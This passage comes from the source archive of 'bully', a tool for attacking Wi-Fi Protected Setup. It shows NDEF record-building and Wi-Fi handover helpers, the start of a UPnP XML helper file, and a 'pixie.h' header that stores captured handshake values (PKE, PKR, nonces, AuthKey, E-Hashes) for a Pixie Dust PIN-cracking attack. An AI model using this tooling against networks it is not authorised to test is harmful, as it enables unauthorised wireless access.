*/ total_len += short_record ? sizeof(u8) : sizeof(u32); if (id_length > 0) total_len += 1; total_len += type_length + id_length + payload_length; record = wpabuf_alloc(total_len); if (record == NULL) { wpa_printf(MSG_ERROR, "NDEF : Failed to allocate " "record for build"); return NULL; } local_flag = flags; if (id_length > 0) local_flag |= FLAG_ID_LENGTH_PRESENT; if (short_record) local_flag |= FLAG_SHORT_RECORD; wpabuf_put_u8(record, local_flag); wpabuf_put_u8(record, type_length); if (short_record) wpabuf_put_u8(record, payload_length); else wpabuf_put_be32(record, payload_length); if (id_length > 0) wpabuf_put_u8(record, id_length); wpabuf_put_data(record, type, type_length); wpabuf_put_data(record, id, id_length); wpabuf_put_data(record, payload, payload_length); return record; } static int wifi_filter(struct ndef_record *record) { if (record->type_length != os_strlen(wifi_handover_type)) return 0; if (os_memcmp(record->type, wifi_handover_type, os_strlen(wifi_handover_type)) != 0) return 0; return 1; } struct wpabuf * ndef_parse_wifi(struct wpabuf *buf) { return ndef_parse_records(buf, wifi_filter); } struct wpabuf * ndef_build_wifi(struct wpabuf *buf) { return ndef_build_record(FLAG_MESSAGE_BEGIN | FLAG_MESSAGE_END | FLAG_TNF_RFC2046, wifi_handover_type, os_strlen(wifi_handover_type), NULL, 0, wpabuf_mhead(buf), wpabuf_len(buf)); } bully-1.4-00/src/wps/pixie.h000077500000000000000000000006441361530463600156270ustar00rootroot00000000000000//fixed size char pixie_pke[1000]; /* save pke */ char pixie_pkr[1000]; /* save pkr */ char pixie_enonce[100]; /* save e-nonce */ char pixie_rnonce[100]; /* save r-nonce */ char pixie_authkey[100]; /* save AuthKey */ char pixie_ehash1[100]; /* save e-hash1 */ char pixie_ehash2[100]; /* save e-hash2 */ char p_iface[20]; char p_bssid[256]; int run_pixiewps; int op_gen_pin; int debug_level; bully-1.4-00/src/wps/upnp_xml.c000077500000000000000000000175351361530463600163550ustar00rootroot00000000000000/* * UPnP XML helper routines * Copyright (c) 2000-2003 Intel Corporation * Copyright (c) 2006-2007 Sony Corporation * Copyright (c) 2008-2009 Atheros Communications * Copyright (c) 2009, Jouni Malinen * * See wps_upnp.c for more details on licensing and code history. */ #include "includes.h" #include "common.h" #include "base64.h" #include "http.h" #include "upnp_xml.h" /* * XML parsing and formatting * * XML is a markup language based on unicode; usually (and in our case, * always!) based on utf-8. utf-8 uses a variable number of bytes per * character. utf-8 has the advantage that all non-ASCII unicode characters are * represented by sequences of non-ascii (high bit set) bytes, whereas ASCII * characters are single ascii bytes, thus we can use typical text processing. * * (One other interesting thing about utf-8 is that it is possible to look at * any random byte and determine if it is the first byte of a character as * versus a continuation byte). * * The base syntax of XML uses a few ASCII punctionation characters; any * characters that would appear in the payload data are rewritten using * sequences, e.g., & for ampersand(&) and < for left angle bracket (<). * Five such escapes total (more can be defined but that does not apply to our * case). Thus we can safely parse for angle brackets etc. * * XML describes tree structures of tagged data, with each element beginning * with an opening tag with * matching label. (There is also a self-closing tag